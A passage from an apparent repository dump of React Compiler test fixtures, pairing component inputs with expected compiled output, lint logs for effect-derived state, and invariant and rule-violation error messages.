FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ prefix: \"[\", value: \"test\", suffix: \"]\" }],\n};\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileError\",\"detail\":{\"options\":{\"description\":\"Using an effect triggers an additional render which can hurt performance and user experience, potentially briefly showing stale values to the user\\n\\nThis setState call is setting a derived value that depends on the following reactive sources:\\n\\nProps: [props]\\n\\nData Flow Tree:\\n└── computed\\n    └── props (Prop)\\n\\nSee: https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state\",\"category\":\"EffectDerivationsOfState\",\"reason\":\"You might not need an effect. Derive values in render, not effects.\",\"details\":[{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":9,\"column\":4,\"index\":314},\"end\":{\"line\":9,\"column\":19,\"index\":329},\"filename\":\"invalid-derived-state-from-computed-props.ts\",\"identifierName\":\"setDisplayValue\"},\"message\":\"This should be computed during render, not in an effect\"}]}},\"fnLoc\":null}\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":4,\"column\":15,\"index\":141},\"end\":{\"line\":13,\"column\":1,\"index\":428},\"filename\":\"invalid-derived-state-from-computed-props.ts\"},\"fnName\":\"Component\",\"memoSlots\":7,\"memoBlocks\":2,\"memoValues\":3,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: ok) <div>[test]</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/invalid-derived-state-from-computed-props.js",
    "content": "// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nexport default function Component(props) {\n  const [displayValue, setDisplayValue] = useState('');\n\n  useEffect(() => {\n    const computed = props.prefix + props.value + props.suffix;\n    setDisplayValue(computed);\n  }, [props.prefix, props.value, props.suffix]);\n\n  return <div>{displayValue}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{prefix: '[', value: 'test', suffix: ']'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/invalid-derived-state-from-destructured-props.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nexport default function Component({props}) {\n  const [fullName, setFullName] = useState(\n    props.firstName + ' ' + props.lastName\n  );\n\n  useEffect(() => {\n    setFullName(props.firstName + ' ' + props.lastName);\n  }, [props.firstName, props.lastName]);\n\n  return <div>{fullName}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{props: {firstName: 'John', lastName: 'Doe'}}],\n};\n\n```\n\n## Code\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport { useEffect, useState } from \"react\";\n\nexport default function Component({ props }) {\n  const [fullName, setFullName] = useState(\n    props.firstName + \" \" + props.lastName,\n  );\n\n  useEffect(() => {\n    setFullName(props.firstName + \" \" + props.lastName);\n  }, [props.firstName, props.lastName]);\n\n  return <div>{fullName}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ props: { firstName: \"John\", lastName: \"Doe\" } }],\n};\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileError\",\"detail\":{\"options\":{\"description\":\"Using an effect triggers an additional render which can hurt performance and user experience, potentially briefly showing stale values to the user\\n\\nThis setState call is setting a derived value that depends on the following reactive sources:\\n\\nProps: [props]\\n\\nData Flow Tree:\\n└── props (Prop)\\n\\nSee: https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state\",\"category\":\"EffectDerivationsOfState\",\"reason\":\"You might not need an effect. Derive values in render, not effects.\",\"details\":[{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":10,\"column\":4,\"index\":288},\"end\":{\"line\":10,\"column\":15,\"index\":299},\"filename\":\"invalid-derived-state-from-destructured-props.ts\",\"identifierName\":\"setFullName\"},\"message\":\"This should be computed during render, not in an effect\"}]}},\"fnLoc\":null}\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":4,\"column\":15,\"index\":141},\"end\":{\"line\":14,\"column\":1,\"index\":416},\"filename\":\"invalid-derived-state-from-destructured-props.ts\"},\"fnName\":\"Component\",\"memoSlots\":6,\"memoBlocks\":2,\"memoValues\":3,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: ok) <div>John Doe</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/invalid-derived-state-from-destructured-props.js",
    "content": "// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport {useEffect, useState} from 'react';\n\nexport default function Component({props}) {\n  const [fullName, setFullName] = useState(\n    props.firstName + ' ' + props.lastName\n  );\n\n  useEffect(() => {\n    setFullName(props.firstName + ' ' + props.lastName);\n  }, [props.firstName, props.lastName]);\n\n  return <div>{fullName}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{props: {firstName: 'John', lastName: 'Doe'}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/ref-conditional-in-effect-no-error.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport {useEffect, useState, useRef} from 'react';\n\nexport default function Component({test}) {\n  const [local, setLocal] = useState(0);\n\n  const myRef = useRef(null);\n\n  useEffect(() => {\n    if (myRef.current) {\n      setLocal(test);\n    } else {\n      setLocal(test + test);\n    }\n  }, [test]);\n\n  return <>{local}</>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{test: 4}],\n};\n\n```\n\n## Code\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport { useEffect, useState, useRef } from \"react\";\n\nexport default function Component({ test }) {\n  const [local, setLocal] = useState(0);\n\n  const myRef = useRef(null);\n\n  useEffect(() => {\n    if (myRef.current) {\n      setLocal(test);\n    } else {\n      setLocal(test + test);\n    }\n  }, [test]);\n\n  return <>{local}</>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ test: 4 }],\n};\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":4,\"column\":15,\"index\":149},\"end\":{\"line\":18,\"column\":1,\"index\":405},\"filename\":\"ref-conditional-in-effect-no-error.ts\"},\"fnName\":\"Component\",\"memoSlots\":5,\"memoBlocks\":2,\"memoValues\":3,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: ok) 8"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/ref-conditional-in-effect-no-error.js",
    "content": "// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\nimport {useEffect, useState, useRef} from 'react';\n\nexport default function Component({test}) {\n  const [local, setLocal] = useState(0);\n\n  const myRef = useRef(null);\n\n  useEffect(() => {\n    if (myRef.current) {\n      setLocal(test);\n    } else {\n      setLocal(test + test);\n    }\n  }, [test]);\n\n  return <>{local}</>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{test: 4}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/usestate-derived-from-prop-no-show-in-data-flow-tree.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\n\nfunction Component({prop}) {\n  const [s, setS] = useState();\n  const [second, setSecond] = useState(prop);\n\n  /*\n   * `second` is a source of state. It will inherit the value of `prop` in\n   * the first render, but after that it will no longer be updated when\n   * `prop` changes. So we shouldn't consider `second` as being derived from\n   * `prop`\n   */\n  useEffect(() => {\n    setS(second);\n  }, [second]);\n\n  return <div>{s}</div>;\n}\n\n```\n\n## Code\n\n```javascript\n// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\n\nfunction Component({ prop }) {\n  const [s, setS] = useState();\n  const [second, setSecond] = useState(prop);\n\n  /*\n   * `second` is a source of state. It will inherit the value of `prop` in\n   * the first render, but after that it will no longer be updated when\n   * `prop` changes. So we shouldn't consider `second` as being derived from\n   * `prop`\n   */\n  useEffect(() => {\n    setS(second);\n  }, [second]);\n\n  return <div>{s}</div>;\n}\n\n```\n\n## Logs\n\n```\n{\"kind\":\"CompileError\",\"detail\":{\"options\":{\"description\":\"Using an effect triggers an additional render which can hurt performance and user experience, potentially briefly showing stale values to the user\\n\\nThis setState call is setting a derived value that depends on the following reactive sources:\\n\\nState: [second]\\n\\nData Flow Tree:\\n└── second (State)\\n\\nSee: https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state\",\"category\":\"EffectDerivationsOfState\",\"reason\":\"You might not need an effect. Derive values in render, not effects.\",\"details\":[{\"kind\":\"error\",\"loc\":{\"start\":{\"line\":14,\"column\":4,\"index\":462},\"end\":{\"line\":14,\"column\":8,\"index\":466},\"filename\":\"usestate-derived-from-prop-no-show-in-data-flow-tree.ts\",\"identifierName\":\"setS\"},\"message\":\"This should be computed during render, not in an effect\"}]}},\"fnLoc\":null}\n{\"kind\":\"CompileSuccess\",\"fnLoc\":{\"start\":{\"line\":3,\"column\":0,\"index\":83},\"end\":{\"line\":18,\"column\":1,\"index\":519},\"filename\":\"usestate-derived-from-prop-no-show-in-data-flow-tree.ts\"},\"fnName\":\"Component\",\"memoSlots\":5,\"memoBlocks\":2,\"memoValues\":3,\"prunedMemoBlocks\":0,\"prunedMemoValues\":0}\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/effect-derived-computations/usestate-derived-from-prop-no-show-in-data-flow-tree.js",
    "content": "// @validateNoDerivedComputationsInEffects_exp @loggerTestOnly @outputMode:\"lint\"\n\nfunction Component({prop}) {\n  const [s, setS] = useState();\n  const [second, setSecond] = useState(prop);\n\n  /*\n   * `second` is a source of state. It will inherit the value of `prop` in\n   * the first render, but after that it will no longer be updated when\n   * `prop` changes. So we shouldn't consider `second` as being derived from\n   * `prop`\n   */\n  useEffect(() => {\n    setS(second);\n  }, [second]);\n\n  return <div>{s}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/empty-catch-statement.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {getNumber} from 'shared-runtime';\n\nfunction useFoo() {\n  try {\n    return getNumber();\n  } catch {}\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { getNumber } from \"shared-runtime\";\n\nfunction useFoo() {\n  const $ = _c(1);\n  try {\n    let t0;\n    if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n      t0 = getNumber();\n      $[0] = t0;\n    } else {\n      t0 = $[0];\n    }\n    return t0;\n  } catch {}\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) 4"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/empty-catch-statement.ts",
    "content": "import {getNumber} from 'shared-runtime';\n\nfunction useFoo() {\n  try {\n    return getNumber();\n  } catch {}\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/empty-eslint-suppressions-config.expect.md",
    "content": "\n## Input\n\n```javascript\n// @eslintSuppressionRules:[]\n\n// The suppression here shouldn't cause compilation to get skipped\n// Previously we had a bug where an empty list of suppressions would\n// create a regexp that matched any suppression\nfunction Component(props) {\n  'use forget';\n  // eslint-disable-next-line foo/not-react-related\n  return <div>{props.text}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{text: 'Hello'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @eslintSuppressionRules:[]\n\n// The suppression here shouldn't cause compilation to get skipped\n// Previously we had a bug where an empty list of suppressions would\n// create a regexp that matched any suppression\nfunction Component(props) {\n  \"use forget\";\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.text) {\n    t0 = <div>{props.text}</div>;\n    $[0] = props.text;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ text: \"Hello\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>Hello</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/empty-eslint-suppressions-config.js",
    "content": "// @eslintSuppressionRules:[]\n\n// The suppression here shouldn't cause compilation to get skipped\n// Previously we had a bug where an empty list of suppressions would\n// create a regexp that matched any suppression\nfunction Component(props) {\n  'use forget';\n  // eslint-disable-next-line foo/not-react-related\n  return <div>{props.text}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{text: 'Hello'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error._todo.computed-lval-in-destructure.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const computedKey = props.key;\n  const {[computedKey]: x} = props.val;\n\n  return x;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nInvariant: [InferMutationAliasingEffects] Expected value kind to be initialized\n\n<unknown> x$8.\n\nerror._todo.computed-lval-in-destructure.ts:5:9\n  3 |   const {[computedKey]: x} = props.val;\n  4 |\n> 5 |   return x;\n    |          ^ this is uninitialized\n  6 | }\n  7 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error._todo.computed-lval-in-destructure.js",
    "content": "function Component(props) {\n  const computedKey = props.key;\n  const {[computedKey]: x} = props.val;\n\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.assign-global-in-component-tag-function.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  const Foo = () => {\n    someGlobal = true;\n  };\n  return <Foo />;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot reassign variables declared outside of the component/hook\n\nVariable `someGlobal` is declared outside of the component/hook. Reassigning this value during render is a form of side effect, which can cause unpredictable behavior depending on when the component happens to re-render. If this variable is used in rendering, use useState instead. Otherwise, consider updating it in an effect. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render).\n\nerror.assign-global-in-component-tag-function.ts:3:4\n  1 | function Component() {\n  2 |   const Foo = () => {\n> 3 |     someGlobal = true;\n    |     ^^^^^^^^^^ `someGlobal` cannot be reassigned\n  4 |   };\n  5 |   return <Foo />;\n  6 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.assign-global-in-component-tag-function.js",
    "content": "function Component() {\n  const Foo = () => {\n    someGlobal = true;\n  };\n  return <Foo />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.assign-global-in-jsx-children.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  const foo = () => {\n    someGlobal = true;\n  };\n  // Children are generally access/called during render, so\n  // modifying a global in a children function is almost\n  // certainly a mistake.\n  return <Foo>{foo}</Foo>;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot reassign variables declared outside of the component/hook\n\nVariable `someGlobal` is declared outside of the component/hook. Reassigning this value during render is a form of side effect, which can cause unpredictable behavior depending on when the component happens to re-render. If this variable is used in rendering, use useState instead. Otherwise, consider updating it in an effect. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render).\n\nerror.assign-global-in-jsx-children.ts:3:4\n  1 | function Component() {\n  2 |   const foo = () => {\n> 3 |     someGlobal = true;\n    |     ^^^^^^^^^^ `someGlobal` cannot be reassigned\n  4 |   };\n  5 |   // Children are generally access/called during render, so\n  6 |   // modifying a global in a children function is almost\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.assign-global-in-jsx-children.js",
    "content": "function Component() {\n  const foo = () => {\n    someGlobal = true;\n  };\n  // Children are generally access/called during render, so\n  // modifying a global in a children function is almost\n  // certainly a mistake.\n  return <Foo>{foo}</Foo>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.assign-ref-in-effect-hint.expect.md",
    "content": "\n## Input\n\n```javascript\n// Fixture to test that we show a hint to name as `ref` or `-Ref` when attempting\n// to assign .current inside an effect\nfunction Component({foo}) {\n  useEffect(() => {\n    foo.current = true;\n  }, [foo]);\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nModifying component props or hook arguments is not allowed. Consider using a local variable instead.\n\nerror.assign-ref-in-effect-hint.ts:5:4\n  3 | function Component({foo}) {\n  4 |   useEffect(() => {\n> 5 |     foo.current = true;\n    |     ^^^ `foo` cannot be modified\n  6 |   }, [foo]);\n  7 | }\n  8 |\n\nHint: If this value is a Ref (value returned by `useRef()`), rename the variable to end in \"Ref\".\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.assign-ref-in-effect-hint.js",
    "content": "// Fixture to test that we show a hint to name as `ref` or `-Ref` when attempting\n// to assign .current inside an effect\nfunction Component({foo}) {\n  useEffect(() => {\n    foo.current = true;\n  }, [foo]);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bailout-on-flow-suppression.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableFlowSuppressions\n\nfunction Foo(props) {\n  // $FlowFixMe[react-rule-hook]\n  useX();\n  return null;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: React Compiler has skipped optimizing this component because one or more React rule violations were reported by Flow\n\nReact Compiler only works when your components follow all the rules of React, disabling them may result in unexpected or incorrect behavior. Found suppression `$FlowFixMe[react-rule-hook]`.\n\nerror.bailout-on-flow-suppression.ts:4:2\n  2 |\n  3 | function Foo(props) {\n> 4 |   // $FlowFixMe[react-rule-hook]\n    |   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Found React rule suppression\n  5 |   useX();\n  6 |   return null;\n  7 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bailout-on-flow-suppression.js",
    "content": "// @enableFlowSuppressions\n\nfunction Foo(props) {\n  // $FlowFixMe[react-rule-hook]\n  useX();\n  return null;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bailout-on-suppression-of-custom-rule.expect.md",
    "content": "\n## Input\n\n```javascript\n// @eslintSuppressionRules:[\"my-app\",\"react-rule\"] @validateExhaustiveMemoizationDependencies:false\n\n/* eslint-disable my-app/react-rule */\nfunction lowercasecomponent() {\n  'use forget';\n  const x = [];\n  // eslint-disable-next-line my-app/react-rule\n  return <div>{x}</div>;\n}\n/* eslint-enable my-app/react-rule */\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: React Compiler has skipped optimizing this component because one or more React ESLint rules were disabled\n\nReact Compiler only works when your components follow all the rules of React, disabling them may result in unexpected or incorrect behavior. Found suppression `eslint-disable my-app/react-rule`.\n\nerror.bailout-on-suppression-of-custom-rule.ts:3:0\n  1 | // @eslintSuppressionRules:[\"my-app\",\"react-rule\"] @validateExhaustiveMemoizationDependencies:false\n  2 |\n> 3 | /* eslint-disable my-app/react-rule */\n    | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Found React rule suppression\n  4 | function lowercasecomponent() {\n  5 |   'use forget';\n  6 |   const x = [];\n\nError: React Compiler has skipped optimizing this component because one or more React ESLint rules were disabled\n\nReact Compiler only works when your components follow all the rules of React, disabling them may result in unexpected or incorrect behavior. Found suppression `eslint-disable-next-line my-app/react-rule`.\n\nerror.bailout-on-suppression-of-custom-rule.ts:7:2\n   5 |   'use forget';\n   6 |   const x = [];\n>  7 |   // eslint-disable-next-line my-app/react-rule\n     |   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Found React rule suppression\n   8 |   return <div>{x}</div>;\n   9 | }\n  10 | /* eslint-enable my-app/react-rule */\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bailout-on-suppression-of-custom-rule.js",
    "content": "// @eslintSuppressionRules:[\"my-app\",\"react-rule\"] @validateExhaustiveMemoizationDependencies:false\n\n/* eslint-disable my-app/react-rule */\nfunction lowercasecomponent() {\n  'use forget';\n  const x = [];\n  // eslint-disable-next-line my-app/react-rule\n  return <div>{x}</div>;\n}\n/* eslint-enable my-app/react-rule */\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-infer-mutation-aliasing-effects.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useCallback, useRef} from 'react';\n\nexport default function useThunkDispatch(state, dispatch, extraArg) {\n  const stateRef = useRef(state);\n  stateRef.current = state;\n\n  return useCallback(\n    function thunk(action) {\n      if (typeof action === 'function') {\n        return action(thunk, () => stateRef.current, extraArg);\n      } else {\n        dispatch(action);\n        return undefined;\n      }\n    },\n    [dispatch, extraArg]\n  );\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nInvariant: [InferMutationAliasingEffects] Expected value kind to be initialized\n\n<unknown> thunk$14.\n\nerror.bug-infer-mutation-aliasing-effects.ts:10:22\n   8 |     function thunk(action) {\n   9 |       if (typeof action === 'function') {\n> 10 |         return action(thunk, () => stateRef.current, extraArg);\n     |                       ^^^^^ this is uninitialized\n  11 |       } else {\n  12 |         dispatch(action);\n  13 |         return undefined;\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-infer-mutation-aliasing-effects.js",
    "content": "import {useCallback, useRef} from 'react';\n\nexport default function useThunkDispatch(state, dispatch, extraArg) {\n  const stateRef = useRef(state);\n  stateRef.current = state;\n\n  return useCallback(\n    function thunk(action) {\n      if (typeof action === 'function') {\n        return action(thunk, () => stateRef.current, extraArg);\n      } else {\n        dispatch(action);\n        return undefined;\n      }\n    },\n    [dispatch, extraArg]\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-codegen-methodcall.expect.md",
    "content": "\n## Input\n\n```javascript\nconst YearsAndMonthsSince = () => {\n  const diff = foo();\n  const months = Math.floor(diff.bar());\n  return <>{months}</>;\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nInvariant: [Codegen] Internal error: MethodCall::property must be an unpromoted + unmemoized MemberExpression\n\nerror.bug-invariant-codegen-methodcall.ts:3:17\n  1 | const YearsAndMonthsSince = () => {\n  2 |   const diff = foo();\n> 3 |   const months = Math.floor(diff.bar());\n    |                  ^^^^^^^^^^ Got: 'Identifier'\n  4 |   return <>{months}</>;\n  5 | };\n  6 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-codegen-methodcall.js",
    "content": "const YearsAndMonthsSince = () => {\n  const diff = foo();\n  const months = Math.floor(diff.bar());\n  return <>{months}</>;\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-couldnt-find-binding-for-decl.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useEffect} from 'react';\n\nexport function Foo() {\n  useEffect(() => {\n    try {\n      // do something\n    } catch ({status}) {\n      // do something\n    }\n  }, []);\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nInvariant: (BuildHIR::lowerAssignment) Could not find binding for declaration.\n\nerror.bug-invariant-couldnt-find-binding-for-decl.ts:7:14\n   5 |     try {\n   6 |       // do something\n>  7 |     } catch ({status}) {\n     |               ^^^^^^ (BuildHIR::lowerAssignment) Could not find binding for declaration.\n   8 |       // do something\n   9 |     }\n  10 |   }, []);\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-couldnt-find-binding-for-decl.js",
    "content": "import {useEffect} from 'react';\n\nexport function Foo() {\n  useEffect(() => {\n    try {\n      // do something\n    } catch ({status}) {\n      // do something\n    }\n  }, []);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-expected-consistent-destructuring.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useMemo} from 'react';\nimport {useFoo, formatB, Baz} from './lib';\n\nexport const Example = ({data}) => {\n  let a;\n  let b;\n\n  if (data) {\n    ({a, b} = data);\n  }\n\n  const foo = useFoo(a);\n  const bar = useMemo(() => formatB(b), [b]);\n\n  return <Baz foo={foo} bar={bar} />;\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nInvariant: Expected consistent kind for destructuring\n\nOther places were `Reassign` but 'mutate? #t8$46[7:9]{reactive}' is const.\n\nerror.bug-invariant-expected-consistent-destructuring.ts:9:9\n   7 |\n   8 |   if (data) {\n>  9 |     ({a, b} = data);\n     |          ^ Expected consistent kind for destructuring\n  10 |   }\n  11 |\n  12 |   const foo = useFoo(a);\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-expected-consistent-destructuring.js",
    "content": "import {useMemo} from 'react';\nimport {useFoo, formatB, Baz} from './lib';\n\nexport const Example = ({data}) => {\n  let a;\n  let b;\n\n  if (data) {\n    ({a, b} = data);\n  }\n\n  const foo = useFoo(a);\n  const bar = useMemo(() => formatB(b), [b]);\n\n  return <Baz foo={foo} bar={bar} />;\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-local-or-context-references.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useState} from 'react';\nimport {bar} from './bar';\n\nexport const useFoot = () => {\n  const [, setState] = useState(null);\n  try {\n    const {data} = bar();\n    setState({\n      data,\n      error: null,\n    });\n  } catch (err) {\n    setState(_prevState => ({\n      loading: false,\n      error: err,\n    }));\n  }\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nInvariant: Expected all references to a variable to be consistently local or context references\n\nIdentifier <unknown> err$7 is referenced as a context variable, but was previously referenced as a local variable.\n\nerror.bug-invariant-local-or-context-references.ts:15:13\n  13 |     setState(_prevState => ({\n  14 |       loading: false,\n> 15 |       error: err,\n     |              ^^^ this is local\n  16 |     }));\n  17 |   }\n  18 | };\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-local-or-context-references.js",
    "content": "import {useState} from 'react';\nimport {bar} from './bar';\n\nexport const useFoot = () => {\n  const [, setState] = useState(null);\n  try {\n    const {data} = bar();\n    setState({\n      data,\n      error: null,\n    });\n  } catch (err) {\n    setState(_prevState => ({\n      loading: false,\n      error: err,\n    }));\n  }\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-unnamed-temporary.expect.md",
    "content": "\n## Input\n\n```javascript\nimport Bar from './Bar';\n\nexport function Foo() {\n  return (\n    <Bar\n      renderer={(...props) => {\n        return <span {...props}>{displayValue}</span>;\n      }}\n    />\n  );\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nInvariant: Expected temporaries to be promoted to named identifiers in an earlier pass\n\nidentifier 15 is unnamed.\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.bug-invariant-unnamed-temporary.js",
    "content": "import Bar from './Bar';\n\nexport function Foo() {\n  return (\n    <Bar\n      renderer={(...props) => {\n        return <span {...props}>{displayValue}</span>;\n      }}\n    />\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.call-args-destructuring-asignment-complex.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = makeObject();\n  x.foo(([[x]] = makeObject()));\n  return x;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nInvariant: Const declaration cannot be referenced as an expression\n\nerror.call-args-destructuring-asignment-complex.ts:3:9\n  1 | function Component(props) {\n  2 |   let x = makeObject();\n> 3 |   x.foo(([[x]] = makeObject()));\n    |          ^^^^^ this is Const\n  4 |   return x;\n  5 | }\n  6 |\n```\n          \n      "
  },
